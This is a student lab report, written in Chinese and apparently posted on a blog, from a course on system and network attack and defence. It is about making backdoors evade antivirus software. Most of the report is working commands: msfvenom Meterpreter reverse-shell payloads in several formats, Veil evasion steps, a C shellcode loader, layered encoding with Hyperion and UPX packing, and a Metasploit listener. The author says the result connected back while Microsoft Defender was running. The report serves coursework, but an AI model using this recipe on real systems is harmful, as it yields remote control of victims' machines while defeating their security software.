芝兰生于深林,不以无人而不芳。


20192416《系统与网络攻防技术》实验三实验报告

一、实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验要求

掌握免杀原理与技术

回答问题

(1)杀软是如何检测出恶意代码的?

可以通过对可执行文件中包含的特征码进行检测
可以通过监视程序的非法行为进行判断

(2)免杀是做什么?

免杀是用来使恶意代码免于杀毒软件的查杀的一项技术。主要是通过修改恶意代码的特征码实现的。

(3)免杀的基本方法有哪些?

三、实验过程

3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

首先用VirusTotal对后门程序进行检测,检出率为54/69

3.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code1.exe
# 使用

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code2.exe
# 

msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f jar > 20192416.jar
# 生成jar文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f raw > 20192416.php
# 生成php文件




3.1.2 veil,加壳工具

在终端中输入代码以生成后门程序

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.31.53
set LPORT 2416
generate

3.1.3 使用C + shellcode编程

以C语言格式输出shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f c > 20192416.c

给刚才生成的C程序添加主函数

cat >>20192416.c<<EOF
int main(){
	int (*func)() = (int(*)())buf;
	func();
}
EOF

生成可执行程序

i686-w64-mingw32-gcc 20192416.c -o 20192416.exe

3.2通过组合应用各种技术实现恶意代码免杀

多次编码+C源代码+加壳

# 生成C文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.31.54 LPORT=2416 -f c > 20192416.c

# 添加主函数
cat >>20192416.c<<EOF
int main(){


	int (*func)() = (int(*)())buf;
	func();
}
EOF

# 生成可执行程序
i686-w64-mingw32-gcc 20192416.c -o 20192416.exe

# 给程序加上一层加密壳
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20192416.exe 20192416.hyed.exe

# 使用upx给程序加上一层压缩壳
upx 20192416.hyed.exe -o 20192416.upxed.exe

3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功

在虚拟机上输入命令 msfconsole 打开msf控制台

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.43.44 
set LPORT 2416
exploit

主机上运行后门程序,此时虚拟机即可获得主机的控制台

杀软使用的是系统自带的Microsoft Defender

四、问题及解决方案

1.veil安装出现问题

解决方案:

vim /usr/share/veil/config/setup.sh

将260行的地址改为:https://gitee.com/githubren/VeilDependencies.git
重启虚拟机,反复尝试。

2.加壳时报错



解决方案:
无法解析ip:先在终端上输入ifconfig找到本系统的ip,然后在/etc/hosts里面添加末尾 “ip号 hostname“
不能打开文件:使用命令su -在root模式下运行即可解决后两行报错

五、学习感悟、思考等

本次实验流程并不长,但在过程中常常会遇到各种各样的问题。在最后一步的使用组合技术实现免杀时,我发现使用加壳工具有时可能会增加检测率,结合视频学习中老师曾经讲过,可能是我们使用的加壳软件被查杀软件列入了黑名单。此次实验的大部分时间都在解决报错上,极大地锻炼了我解决问题的能力。希望在接下来的实验中能够学到更多东西。

posted @ 2022-04-10 19:38  20192416  阅读(65)  评论(0编辑  收藏  举报